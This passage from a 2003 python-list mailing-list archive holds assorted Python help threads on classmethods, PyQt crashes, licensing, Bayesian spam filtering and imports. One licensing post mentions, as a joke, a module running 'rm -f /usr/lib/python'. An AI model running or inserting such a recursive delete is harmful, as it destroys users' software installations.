follow for others who might be interested.


> Cliff Wells <LogiplexSoftware at earthlink.net> wrote in message news:<mailman.1042235066.17749.python-list at python.org>...
> > 
> > This is usually a problem only seen on GNOME2, but you might try running
> > the demo with
> > 
> > env LANG='C' python demo.py
> > 
> > to see if that helps.  I assume by "weird visibility" errors you are
> > referring to fonts?  For instance, fonts display as small boxes rather
> > than text?  If not, please clarify.


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From abelikov72 at hotmail.com  Thu Jan  9 10:31:11 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 15:31:11 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
Message-ID: <cj5r1v4to11qdrsjcm1aiakm07adg9haob@4ax.com>

On Thu, 09 Jan 2003 06:52:47 GMT, Afanasiy <abelikov72 at hotmail.com>
wrote:

>I've written this method for a text formatting class...
>But it's ugly as sin. With all those self's I consider
>it much less readable than it could be...
>
>A few languages provide syntax sugar for dealing with
>this by allowing you to localize the class scope.
>
>Does Python? eg. `with self do:`
>
>  def format( self, width=80 ):    
>    self.lines = ['']
>    i = 0
>    for word in self.text.split():  
>      if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
>        if self.textwidth(self.lines[i]) > 0:
>          self.lines[i] += ' '
>        self.lines[i] += word
>      else:
>        i += 1
>        self.lines.append(word)

It should not be common practice to slander someone who asks this.
I'm going to attempt to ignore this thread now. Have a nice life.



From danb_83 at yahoo.com  Sat Jan  4 03:45:01 2003
From: danb_83 at yahoo.com (Dan Bishop)
Date: 4 Jan 2003 00:45:01 -0800
Subject: help please about using python
References: <%RkR9.7529$6J1.1433260454@hestia.telenet-ops.be>
Message-ID: <ad052e5c.0301040045.4fbc127b@posting.google.com>

"Serge" <Plop at plopland.be> wrote in message news:<%RkR9.7529$6J1.1433260454 at hestia.telenet-ops.be>...
> Hello,
> 
> I would like to use a program for GPS who is written in python but i know
> nothing about python. Some friendly person mailed me the python program with
> links and some help but i can not find out how to start the program.
> 
> Would someone help me? it would be great !

To run the program, you need the Python interpreter.  You can download
it from http://www.python.org/2.2.2/ .

After you've installed the interpreter, you should be able to run the
program by clicking its icon.  If not, you can run the program from
the command line with the command "python filename.py".  If that
doesn't work, you should add your Python directory to your PATH
environment variable.

> I would explain everything by e-mail.
> 
> Sorry for the faults in my english.

No need to apologize.  Your English is much better than what many of
the native speakers write on Usenet ;-)

However, if you would like some constructive pedantry, I'll tell you
that the pronoun "I" and the proper name "Python" should be
capitalized, and the "who" in the first sentence should probably be
"that".



From dan at control.com  Fri Jan  3 14:55:54 2003
From: dan at control.com (Dan L. Pierson)
Date: Fri, 03 Jan 2003 19:55:54 GMT
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org>
Message-ID: <bVlR9.1174$fj.593596@news.randori.com>

On Fri, 03 Jan 2003 03:09:15 +0000, Steve Lamb wrote:

> On Thu, 02 Jan 2003 23:25:06 -0800, faust <urfaust at optushome.com.au>
> wrote:
>> Emacs is always the answer....
> 
>     Ah yes, Emacs.  Emacs is the proof that even the most die hard unix
>     fan
> can succumb to creeping featurism.  Why?  Well think about it, "the unix
> way" is to have a collection of small tools which are interchangable,
> communicate with each other well and each do their specific task quite
> well.

Emacs was implemented and grown in a non-Unix environment for many years
before any of the Unix implementations appeared.  By that point the
editior as work environment model was well established.  IMHO, it became the
most productive environment for Unix programming until Unix GUIs 
were well established over a decade later.  It still competes well
with the GUIs as a complete environment.  Personally, I find that I
don't use it for email and news any more (largely because I'm not
that fond of gnus these days) but it's still by far the best power editor
available for either Linux/Unix or Windows.



From lac at strakt.com  Sat Jan  4 10:16:12 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 04 Jan 2003 16:16:12 +0100
Subject: Webhosting with Python and PSP? 
In-Reply-To: Message from "Johan" <johan@contillion.com> 
   of "Fri, 03 Jan 2003 21:07:05 +0100." <pan.2003.01.03.20.07.05.9295@contillion.com> 
References: <pan.2003.01.03.20.07.05.9295@contillion.com> 
Message-ID: <200301041516.h04FGCjL015517@ratthing-b246.strakt.com>

Check out http://www.python.org/hosting/

Laura Creighton

> Hi everybody,
> 
> Sorry if this is off topic. 
> 
> I really need some webhosting with PSP and Python CGI. But, it is hard
> to find anywhere? I have tried google, no results i could use. What do I
> do? I found one... http://www.oinko.net/freepython/ but it is
> "directory" hosting. And they links to lunarpages.com, but they dont
> write anything about PSP, only Python CGI :( I wrote an e-mail to them,
> but they have not replied yet.
> 
> Anyone know a good hosting company that support PSP and Python CGI? I
> prefer webhosting companies in US, UK or Denmark... :) Please help me
> out... I need a site with that support, untill I get my own server...
> 
> With Best Regards,
> Johan
> 
> 
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From LogiplexSoftware at earthlink.net  Mon Jan 20 20:05:08 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 20 Jan 2003 17:05:08 -0800
Subject: license
In-Reply-To: <005e01c2c0df$b6ef47d0$63a09840@Arts>
References: <005e01c2c0df$b6ef47d0$63a09840@Arts>
Message-ID: <1043111108.32094.377.camel@software1.logiplex.internal>

On Mon, 2003-01-20 at 15:57, Arthur wrote:
> >I'd agree with you that such a modification is annoying and rude.  I
> >think Terry is taking the side of "you're using someone's code for free,
> >and then complaining about it" which also has some validity.
> 
> As is the code I provide.
> 
> But a little twist here is that the distributor is not the developer. He
> sought of  "controls"  it.  He did not write it. In fairness, he does
> support a user group - and is responsive to that user group.  It his not his
> code, though.
> 
> I actually wrote my code.  Not only is free and opensource. But it was done
> on my own time, time stolen from my family and my *real* work.
> 
> I'm the good guy, here.  Of course.

I would never suggest otherwise =)

> People seem to be watching a different movie than me, much of the time.

I just watched "Lilo and Stitch".  Cute, but I wonder where Disney stole
the idea from.  What were you watching?

> > I'm not sure what the package in question is, but I have to ask: does it
> make
> >sense for it to do this?  If the package were, for instance, a modified
> >version of Python itself, or if it modified the behavior of Python in a
> >fundamental way, then perhaps replacing the top-level documentation
> >might make sense.
> 
> Ipso facto, it cannot make sense to overwrite a file that is part of the
> standard Python distribution, unless one works real heard first to tell me
> that is what is going to happen when I push the install button.  The "ipso
> facto" part is to scare you into thinking I might be a lawyer.

Whew, you had me going for a second... Anyway, to clarify, I was
thinking along the lines of Stackless (at least as it used to be) in the
sense that, by installing it, you no longer had a standard Python
install, so after replacing your Python interpreter, messing a bit with
the documentation seemed like a given.

> Anything is sensible, with notice attached, in a separate distribution - as
> the damn license implies.
> 
> I am thoroughly confused.  The Python license says that if you are modifying
> it, you notify users of the modifications.  In essensce, that is the only
> restriction.  Under your hypopthetical, in my mind, there is either
> notification, or there is a license breach.  It seems to disturb people that
> I am suggesting that it is possible to breach the Python license, and
> possible to believe that the license is quite serious about what it says.

Well, I suspect that the Python license is referring to distributing
Python itself, that is, if I provide you with a modified Python distro,
then I would be required to notify you of those modifications.  I don't
think it covers what other programs do to that distro *after* you've
installed it.  For instance, installing a module that did "rm -f
/usr/lib/python" might be grounds for homicide, but would not be a
license violation.

> The case I bring up, if it is a breach at all is a relatively minor one- and
> I am not claiming to be the lawyer to say it is, and a lawyer - or someone
> more informed than I, can tell me it clearly isn't. But its ugly. Nobody can
> convince me otherwise.  And I was simply wondering out loud whether it
> might, in addition, be a technical breach.

It certainly is ugly, and I agree with Bengt's assessment earlier.  The
person responsible should perhaps be drawn and quartered (would that put
his project in the public domain?), but I still doubt if it's a license
violation, any more than a Windows virus replacing command.com violates
M$'s EULA (unless the virus was written using gcc, in which case it
would most likely violate something in their recent EULA's about using
GPL'd software).

> More importantly, God knows I didn't write Python and I am certainly not the
> one to decide whether a breach that in fact does exist will be pursued in
> any way.

It isn't just God who knows.  I suspect others know as well.

> This guy got a damn grant, and I am asking nothing from him other than to be
> sensible and sensitive to other peoples needs surrounding the code he didn't
> write.  I am not asking to comply to *my* standards.  I am asking him to
> comply to *community* standards.

This is the catch-22 of these sorts of situations.  You want to use
something, but disagree with the methods of the owners of that thing. 
Really, the only answer is to not use that thing or create your own
equivalent.  This holds true for other things besides software.  It's a
lose-lose situation but if a compromise can't be reached, there's really
no other recourse.

BTW, you still haven't mentioned the package.  Tell me THE PACKAGE!!! ;)


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From lac at strakt.com  Wed Jan  8 14:16:39 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 08 Jan 2003 20:16:39 +0100
Subject: Python Script that Impersonates Emails 
In-Reply-To: Message from Michael <dialectics-unlimited@sympatico.ca> 
   of "Wed, 08 Jan 2003 14:05:11 EST." <8F_S9.3165$IC6.162153@news20.bellglobal.com> 
References: <8F_S9.3165$IC6.162153@news20.bellglobal.com> 
Message-ID: <200301081916.h08JGdjL009678@ratthing-b246.strakt.com>

> Hi,
> 
> This is somewhat of an odd question.  I came across a script ages ago,
> written in python, that reads usenet groups, "learns" to impersonate how
> people post, and then posts a pretty convincing email to the usenet
> group.  I totally forget what it was called, and am having no luck
> finding it on google.  Any one out there know what I am talking about?
> 
> Thanks,
> 
> Michael
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

You are looking for markov chains.  (And the original Mark V Shaney was
not written in Python).

Laura Creighton




From jack at performancedrivers.com  Thu Jan 16 04:43:35 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Thu, 16 Jan 2003 04:43:35 -0500
Subject: classmethod() not inherited?
Message-ID: <20030116044334.E13035@localhost.localdomain>

How is it possible to have classmethods still be
classmethods in their kids?

-- file Test.py --
class Base(object):
  def foo(cls):
    return 'BASE!'
  foo = classmethod(foo)

class A(Base):
  def foo(cls):
    return 'some value'

class B(Base):
  def foo(cls):
    return 'some other value'

class Z(Base):
  def foo(cls):
    return 'something else still'

I'd like to have ALL of the derivitives of Base
have foo as a classmethod, but it doesn't seem
to be automatic and the following doesn't work

import Test

for (Test.A .. Test.Z): # pseudo code
  Test.A.foo = classmethod(Test.A.foo)

The Base class might have several classmethods
so adding all of them to each of the derivitives
is an error prone cut-n-paste nightmare.

google groups turns up lots of convos about type()
and new style classes, but I couldn't find anything
for this in particular.  [I'm Running Python 2.2.1]

hating cut-n-paste-ly yours,

-jackdied




From peter at engcorp.com  Sat Jan 25 15:13:12 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 15:13:12 -0500
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com>
Message-ID: <3E32EFD8.D00D4656@engcorp.com>

Whit Whitfield wrote:
> 
> I have searched google groups and docs/faqs for days and cannot seem
> to get my
> script to automate a form submission to work correctly.  I am trying
> to mimic
> an end user and can communicate with the page via httplib, but cannot
> figure out how to actually submit the data.  Any help is appreciated,

You would have to retrieve the URL from the "action" attribute in the form
element and, depending on whether the method attribute was GET or POST,
either append all the form data to that URL following a question mark 
(for GET), or submit the form data as the request content (for POST)
after the header, again using the action URL.

To help you further, I'd have to see what you've been trying.  Can you
not post a snippet or two of your code for us to review?

-Peter



From gradha at terra.es  Thu Jan 30 18:42:06 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Fri, 31 Jan 2003 00:42:06 +0100
Subject: Python Success Stories or Nightmares
In-Reply-To: <1043966994.2227.113.camel@refugeeMedia>
References: <1043966994.2227.113.camel@refugeeMedia>
Message-ID: <20030130234206.GA4982@pedos.es>

On Thu, Jan 30, 2003 at 05:49:54PM -0500, Mongryong wrote:
> Let's hear people's success stories with Python and why they did
> the switch.

I switched because a cool LUG friend told me about it. Currently
he's my boss, and pays me to write free software.

*Learning* Python I rewrote a 30KB C program to 6KB of Python in
*one afternoon*.  Given that I did that to *learn* the language
(I was browsing the documentation/tutorial in another terminal),
and that I actually fixed a bug in the process, only good things
can await.  Nowadays maybe I could reduce another Kb and improve
source readability.

> What works and doesn't work in Python.

  while (line = file.readline()):

I still miss that one-liner.




From tim.one at comcast.net  Wed Jan 15 19:21:00 2003
From: tim.one at comcast.net (Tim Peters)
Date: Wed, 15 Jan 2003 19:21:00 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3E24EF28.1DE0986E@alcyone.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGELGDIAB.tim.one@comcast.net>

[Erik Max Francis]
> You keep emphasizing the word _afraid_, which I never used.

I use the word "afraid" but don't believe I've emphasized it.

> I never told him he should be _afraid_ of getting sued.

    It's not worth the extremely negative potential payoff should
    things turn ugly.

doesn't sound like encouragement <wink>, and "afraid" comes from the "F" in
FUD.

> I simply said that the safest course of action -- as it is in any legal
> situation -- is to get explicit permission in the form of a piece of
> paper with a signature on it.

No, you do more than just that:  you've counseled Mike repeatedly to

    get rock solid assurance (a written and signed waiver on physical
    paper), or don't bother

and repeat that again in different words next.

> He asked for information about the legality of using certain copyrighted
> materials, and was met with an ambiguous response -- a response which
> disclaimed its own legal applicability.  At this point it's only
> sensible to secure explicit permission or not bother;

There it goes again.  If you had asked whether it's OK for you to fiddle a
Python module and distribute it, I would have given you the same answer I
gave Mike:  as far as I'm concerned, sure, but I'm not a lawyer and can't
make legally binding representations about the matter.  If you need legal
advice, pay a lawyer to read the license as it applies to your intended use.

> it sounded, after all, like using these materials was not crucial to his
> project anyway.
>
> You're the one trying to inflate this into a huge issue;

Nope, I'm trying to assure Mike that the risks are-- contrary to the
FUD --so minimal as to be laughable.

> I simply gave him standard, reasonable advice on the use of copyrighted
> mateirals.

In this case the materials in question are covered by the PSF license, and I
don't want the PSF to be harrassed with endless requests for "written and
signed waiver on physical paper".  Mike has no more chance of being sued
than you do, and for some reason left unexplained you really seem to believe
that Mike is in more danger than you are.  He isn't.  Although that still
doesn't mean the PSF won't sue all of us ...

most-likely-me-i-hope-ly y'rs  - tim





From bokr at oz.net  Mon Jan 13 14:05:54 2003
From: bokr at oz.net (Bengt Richter)
Date: 13 Jan 2003 19:05:54 GMT
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
References: <mailman.1042403841.24976.python-list@python.org> <7x8yxqxeav.fsf@ruckus.brouhaha.com> <c76ff6fc.0301130206.ca90ba2@posting.google.com> <xpudnbPQNdfpfb-jXTWcpw@comcast.com> <avuriu$e55$0@216.39.172.122> <mailman.1042478364.13684.python-list@python.org>
Message-ID: <avv2mi$ta6$0@216.39.172.122>

On Mon, 13 Jan 2003 11:15:50 -0600, Skip Montanaro <skip at pobox.com> wrote:

>
>    Bengt> I.e., it should be simple to instrument ceval.c to extern link to
>    Bengt> a temp module with an integer array indexed by byte code value to
>    Bengt> increment for statistics.  
>
>You can already do this.  Simply define DYNAMIC_EXECUTION_PROFILES (and
>optionally DXPAIRS) when building Python.  I believe only ceval.c and
>sysmodule.c need to be rebuilt.  Once built, you can call sys.getdxp() at
>any time during program execution to retrieve the byte code execution
>frequency array.  If you define DXPAIRS as well as
>DYNAMIC_EXECUTION_PROFILES you get a 2-D list (list of lists) instead of a
>simple list identifying adjoining pairs of byte code instructions.  This is
>probably what you want for this task, as it will tell you how often a
>conditional jump is followed by a POP_TOP, not just how many POP_TOP
>instructions are executed.
I assume DXPAIRS would increment in a flat array int counts[256*256] (or maybe
[max_byte_code**2]). The list of lists would just be slices of that IWT. But
that's a detail. I kind of thought someone must have done it, but I didn't
realize it was a compile option. I guess I would have found it if I'd started
on doing it myself ;-)

Any old statistics on codes and pairs?

Oh BTW, has anyone instrumented tracking ref count patterns? I.e., how often
does an object just get +- vs ++-- or ++-+-- etc? My first idea on instrumenting
that was to have an open binary log file and doctor the Py_INCREF(op) and Py_DECREF(op)
macros to write the 4-byte id with an lsb of 1 or'ed in for incref, and then analyze afterwards.
Does that sound workable? Or has it been done some other way?

Regards,
Bengt Richter



From sjmachin at lexicon.net  Sun Jan 12 04:31:21 2003
From: sjmachin at lexicon.net (John Machin)
Date: 12 Jan 2003 01:31:21 -0800
Subject: backreference
References: <avmpkh$hra$1@wnnews.sci.kun.nl> <avq0mi$i7pnf$1@ID-130333.news.dfncis.de>
Message-ID: <c76ff6fc.0301120131.6257ef37@posting.google.com>

"Cousin Stanley" <CousinStanley at HotMail.com> wrote in message news:<avq0mi$i7pnf$1 at ID-130333.news.dfncis.de>...
> Would a simple non-re version work ???

Quite possibly. However not only does the code you provided not work,
as another poster has already pointed out, on your sample data, but
also ...

> for xLine in list_lines :
>     last_char = xLine[ len( xLine ) - 1 : ]

... it is also unnecessarily slow. You might like to consider the
following:
      last_char = xLine[-1:]



From wilk-spamout at flibuste.net  Mon Jan 20 07:55:31 2003
From: wilk-spamout at flibuste.net (William)
Date: 20 Jan 2003 13:55:31 +0100
Subject: doc in emacs
Message-ID: <87hec4x9oc.fsf@flibuste.net>

hi,

Is there an easy way to browse the python manual inside emacs ?

thanks

-- 
William Dode - http://flibuste.net



From just at xs4all.nl  Mon Jan  6 03:41:13 2003
From: just at xs4all.nl (Just)
Date: Mon, 06 Jan 2003 09:41:13 +0100
Subject: sorted unique elements from a list; using 2.3 features
References: <mailman.1041832210.3104.python-list@python.org>
Message-ID: <just-A5833F.09411306012003@news1.news.xs4all.nl>

In article <mailman.1041832210.3104.python-list at python.org>,
 "Delaney, Timothy" <tdelaney at avaya.com> wrote:

> > The other is with the new 'fromkeys' class, which constructs
> 
> Actually, dictionary class (static?) method.

It's a class method.

> > # Let 'data' be a list or iterable object
> > subset = dict.fromkeys(data).keys()
> > subset.sort()
> > # Use 'subset' as needed
> 
> This, whilst slightly shorter (due to no import - which in future versions
> will be going away anyway), is definitely *not* the Right Way (TM) to do it.
> It is likely to confuse people.

I don't know. It's currently (apparently) a lot faster than using the 
sets module. With the fromkeys() addition dicts are quite comfortable as 
poor-man's sets.

Just



From pangalactic at gargleblaster.org  Mon Jan 20 02:48:32 2003
From: pangalactic at gargleblaster.org (Chetan Gadgil)
Date: Mon, 20 Jan 2003 07:48:32 GMT
Subject: Python extension for MANAGED C++ with VC.NET
Message-ID: <qFNW9.57337$Yq3.12124@sccrnsc02>

Hi

Is anyone working on the above?
I had started work on a library I called PyCLR - a module using Mark
Hammond's win32all, but later discovered that Mark had already done
something similar for Python.NET, but was not too happy with the results.

I have started on VC.NET with managed c++ and have "managed" (no silly pun
intended :)) to load an extension module into Python and call into Managed
Code.

Potentially, now I should be able to call any .NET assemblies from native
python, without going through COM.

However, I was curious if anyone is already working on those lines,
otherwise I might just be wasting my time.

If not, I intend to make the .NET extension module available under the
Python license, once my module is in a reasonably decent shape.

I tried using the "boost" library in managed C++ for python - it compiles,
but I get all sorts of assertion errors at runtime. Obviously, I need to
change lots of things for the managed/unmanaged C++ mix.
So I am doing it in "raw" C/C++ (managed/unmanaged).

If any of us who have already tried this, have any
comments/suggestions/advice, they are welcome to do so here.

As a side note - has anything changed in extension modules in Python 2.3a? I
tried exactly the same Managed C++ module that worked with Python 2.2.2
release - did not work on 2.3a. (2.2.2 does not compile on VC.NET without
some hacks for some obsolete macros - Looks like Mark Hammond has already
checked them in post 2.2.2 ...)

Regards
Chetan Gadgil





From tim.one at comcast.net  Mon Jan 13 15:42:35 2003
From: tim.one at comcast.net (Tim Peters)
Date: Mon, 13 Jan 2003 15:42:35 -0500
Subject: OT: spam filtering idea
In-Reply-To: <avv6ah$clk$1@verence.demon.co.uk>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCEMGEHAA.tim.one@comcast.net>

[Paul Wright]
> I thought the point of Bayesian filtering was that it learned about your
> spam and your legitimate email, so that learning what other people
> considered spam wouldn't be as effective. I'm no expert on this, though.
> I expect Tim Peters will be along in a minute :-)

Cursed to do so, yes <wink>.  Trying to train one of these classifiers to
serve a diverse group of users at once is demonstrably and quantifiably much
less effective.  Training one for a focused mailing list (like
comp.lang.python) appears extremely effective, though (the spambayes
classifier had error rates too low to measure reliably across a 20K c.l.py
ham + 14K spam test).

> <http://www.jerf.org/irights/2002/11/18.html> argues that human malice
> can and will defeat Bayesian filters, and that widespread adoption of
> them will end up making spam harder to recognize by hand. I'm a little
> concerned that the author of the article overestimates the intelligence
> of spammers, but I suppose there's a selection pressure on them to get
> more cunning as time goes on.

He's probably right that the way to beat this generation of filters is to
create spam statistically indistinguishable from ham.  The unknown not
addressed there is that all forms of advertising are a percentage game, and
current spam uses (e.g.) ALL CAPS and huge fonts and bright colors because
those tricks increase response rate.  Spam so bland that it looks like it
came from your grandmother may not draw a response rate large enough to
repay the costs of spamming (which, while tiny on a per-msg basis, aren't
zero).

> ...
> [1] How many boneheaded keyword filters will now bounce this post when
> it goes out as mail on the python list, I wonder? There's an awful lot
> of snake oil out there being sold as spam filters.

I received it via the c.l.py mailing list gateway.  My personal spambayes
filter gave your msg a score of 0.9998 for haminess (0.0 = spam, 1.0 = ham),
and 1.422e-07 for spaminess (0.0 = ham, 1.0 = spam).  So, overall, it was
certain the msg was ham, and despite that it contained some mildly strong
spam words:

'intelligence'  0.958257
'legitimate'    0.961219
'businesses'    0.963789

An individual word can neither damn nor redeem a msg in this kind of
approach; it's more a "preponderance of evidence" approach.  Effective spam
has to get around to selling you something, and the language of advertising
as a whole is very damning (for example, in c.l.py tests, the putative ham
we had the most trouble with was conference announcements:  they're trying
to sell you on attending a conference, and share much language with hardcore
spam because of it).





From nav at adams.patriot.net  Fri Jan 17 13:15:21 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 17 Jan 2003 13:15:21 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org>
Message-ID: <yyywul3skw6.fsf@adams.patriot.net>

I just encountered a problem that required reverse iterating to solve,
and my current solution, though it works, is not so satisfying:

def commafy(val):
    """Return val as string with commas every thousandth place."""
    val = str(val)
    ret = ''
    c = 0
    for i in range(len(val) - 1, -1, -1):
        if c and not c % 3:
            ret = ',' + ret
        ret = val[i] + ret
        c += 1
    return ret

This is one of the few times I just haven't been able to come up with
an elegant and -- dare I say it -- aesthetically pleasing solution in
Python. I suspect the lack is my own, not Python's.

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From rmunn at pobox.com  Fri Jan 10 08:34:49 2003
From: rmunn at pobox.com (Robin Munn)
Date: Fri, 10 Jan 2003 13:34:49 GMT
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org> <3E1CD949.15CD3DCF@alcyone.com> <mailman.1042114877.2351.python-list@python.org> <3E1E0EC7.3575F4CD@alcyone.com>
Message-ID: <slrnb1tj4l.k1r.rmunn@rmunnlfs.dyndns.org>

Erik Max Francis <max at alcyone.com> wrote:
> holger krekel wrote:
> 
>> Probably right, although one could try putting the below into
>> a file:
>> ------------------------------------------------------------
>> #!/bin/sh
>> 
>> # find a specific python version you want to use from
>> # e.g. scanning PATH contents
>> # but i am far too lazy to write shell scripts now
>> # so i shortcut :-)
>> python=/usr/bin/python
>> 
>> $python <<__HERE__
> 	...
> 
> But this is precisely what env does in the first place, so you might as
> well just left the bangpath alone.
> 
> My point was not that using the (very common, and widely recommended)
> bangpath
> 
> 	#!/usr/bin/env python
> 
> won't work, it's just that which Python interpreter it finds depends on
> the PATH (because that is precisely what env does).  If you have
> multiple intepreters installed, then you may get unpleasant surprises if
> you're relying on finding a particular one, since PATHs will vary widely
> from interactive shell to cron job to CGI script.

If you're dependent on a particular version of Python, then it makes the
most sense to simply check sys.version_info as soon as possible, and
exit gracefully with an appropriate error message, e.g.:

    import sys

    if sys.version_info < (2,2):    # Require at least Python 2.2
        sys.stderr.write("Sorry, I require at least Python 2.2.\n")
        sys.stderr.write("Current version: %s\n" % (sys.version_info,))
        sys.exit(1)

    # Version-specific code goes here

-- 
Robin Munn <rmunn at pobox.com>
http://www.rmunn.com/
PGP key ID: 0x6AFB6838    50FF 2478 CFFB 081A 8338  54F7 845D ACFD 6AFB 6838



From bokr at oz.net  Mon Jan 20 12:51:02 2003
From: bokr at oz.net (Bengt Richter)
Date: 20 Jan 2003 17:51:02 GMT
Subject: Import from zip file?
References: <19804fd8.0301200235.7febb837@posting.google.com> <m3r8b73kby.fsf@mira.informatik.hu-berlin.de>
Message-ID: <b0hcu6$a8a$0@216.39.172.122>

On 20 Jan 2003 16:35:45 +0100, martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=) wrote:

>k.robert at gmx.de (Robert) writes:
>
>> What is the easyiest way to import modules/module-trees from zip
>> files (Python 2.2)?
>
>Unpack the zip file, then add the directory to sys.path.
>
How deep is the dependence of import on the file system?
I.e., what is the role of the file name ('.' name)* after the file data
has been found and loaded? It seems like it's mainly to be recorded
in sys.modules to prevent re-loading, so that sharing results.

Is there a reason you couldn't have import recognize a zip or tgz file
as a virtual file directory tree to search and import from there,
given a little hint via alternate syntax, e.g.,

    import foo from 'bar.zip' as baz  # note the quotes -- it's a file spec, not dotted module

where foo could go in sys.modules and baz could be the local binding.
baz.__name__ would be foo, and
    sys.modules['foo'] is baz => True.

Seems like any byte stream ought to be able to be made to work too, even

    import spam from sys.stdin

with no local as-alias, it would be spam, and spam.__name__ would be spam,
resulting in sys.modules['spam'] is spam => True.

and it could recognize a string after the from and open that as a normal file
path spec without dotted notation, though you might even be able to introduce
that specifically too, e.g.,

    import hum.haw from '~/stuff/ho/hawfile' as foo
and get
    sys.modules['hum.haw'] is foo => True.
(but leaving out sys.modules['hum'] I suppose).

Regards,
Bengt Richter



From giles_brown at hotmail.com  Tue Jan  7 15:33:11 2003
From: giles_brown at hotmail.com (Giles Brown)
Date: 7 Jan 2003 12:33:11 -0800
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at>
Message-ID: <57de9986.0301071233.29cf8e8d@posting.google.com>

Oliver Vecernik <vecernik at aon.at> wrote in message news:<3E1AB7B3.4050404 at aon.at>...
> Hi!
> 
> I've got an object with some methods:
> 
> class Someclass(self):
>      def __init__(self):
>          pass
>      def method1(self):
>          pass
>      def method2(self):
>          pass
>      ...
>      def runallmethods(self):
>          for func in dir(self):
>              if func[0:4] == 'method':
>                  apply(self.func) # Does *not* work!
> 
> I'd like to run all methods named 'method...' in a sequence. Has anybody 
> a clue how to achive this?

As an alternative to dir() you could use the inspect module:

import inspect

class Someclass:
     def __init__(self):
         pass
     def method1(self):
         print "called method1"
     def method2(self):
         print "called method2"
     def runallmethods(self):
         for name, method in inspect.getmembers(self, inspect.ismethod):
             if name[:6] == 'method':
                 method.im_func(self)

class Derived(Someclass):

    def method2(self):
        print "called derived method2"

    def method3(self):
        print "called method3"

x = Derived()
x.runallmethods()



From hat at se-46.wpa.wtb.tue.nl  Mon Jan 27 11:56:41 2003
From: hat at se-46.wpa.wtb.tue.nl (Albert Hofkamp)
Date: Mon, 27 Jan 2003 16:56:41 +0000 (UTC)
Subject: PyQT-application crash when shutting down
References: <slrnb2qtlb.45c.hat@se-46.wpa.wtb.tue.nl> <b12d79$816$1@slb6.atl.mindspring.net>
Message-ID: <slrnb3ap6a.lsn.hat@se-46.wpa.wtb.tue.nl>

On Sun, 26 Jan 2003 14:05:26 -0700, Andrew Dalke <adalke at mindspring.com> wrote:
>> The application seems to be working fine, but when I press the 'Quit'
>> button (which sends a 'clicked' signal to the 'quit' slot of the main
>> application), I get a "segmentation fault".
>> Below is a stripped-down application that demonstrates the problem (at
>> least at my machine):
> 
>> if __name__ == '__main__':
>>     app=QApplication(sys.argv)
>>     aw=ApplicationWindow()
>>     app.setMainWidget(aw)
>>     app.connect(aw._quit,SIGNAL("clicked()"),app,SLOT("quit()"))
>>     aw.show()
>>     app.exec_loop()
>> 
>> I don't understand why this happens. If the application is closed with the
>> 'close window' button, it exits without problems.
>> 
>> Any ideas?
> 
> I get similar behaviour.  I think it's because the deallocator for
> app and aw are in indefinite order, but Qt requires aw to be deallocated
> first.  I end up writing my scripts like this

Hmm, so 'del aw' as the last statement would also work then ?

> def main(app):
>      aw=ApplicationWindow()
>      app.setMainWidget(aw)
>      app.connect(aw._quit,SIGNAL("clicked()"),app,SLOT("quit()"))
>      aw.show()
>      app.exec_loop()
> 
> if __name__ == "__main__":
>      app = QApplication(sys.argv)
>      main(app)

Thank you very much!!
I was hoping that a simple fix would be available for my current version.

If this works, we will have one happy system administrator (since he has 40
machines less to upgrade to a new PyQt :-) ).


Albert
-- 
Unlike popular belief, the .doc format is not an open publically available format.



From tjreedy at udel.edu  Wed Jan  8 10:28:14 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 8 Jan 2003 10:28:14 -0500
Subject: curious to opinions on easygui
References: <pan.2003.01.08.07.53.05.109439.12689@yes.no>
Message-ID: <RkmdnaG0ApCX3oGjXTWc2Q@comcast.com>

"french fry" <frenchfry at yes.no> wrote in message
news:pan.2003.01.08.07.53.05.109439.12689 at yes.no...
> maybe it's just me but i think easygui is fantastically simple and
> provides much needed functionality at practically no learning curve
except
> knowing how to use functions. i know guido sometimes adopts
community
> created modules into the standard library, i don't understand why
easygui
> isn't there.

Incorporation into the standard library requires a degree of
completion and stability that is usually indicated by a 1.0 release.
The latest EasyGui is 0.56, which indicates that the authors think it
needs more development before being 'done'.  In addition, the authors
have to want their work in the library and then do the things needed
to make that happen (write PEP, consider suggested changes, lock in
interface, demonstrate community need and use, format code to library
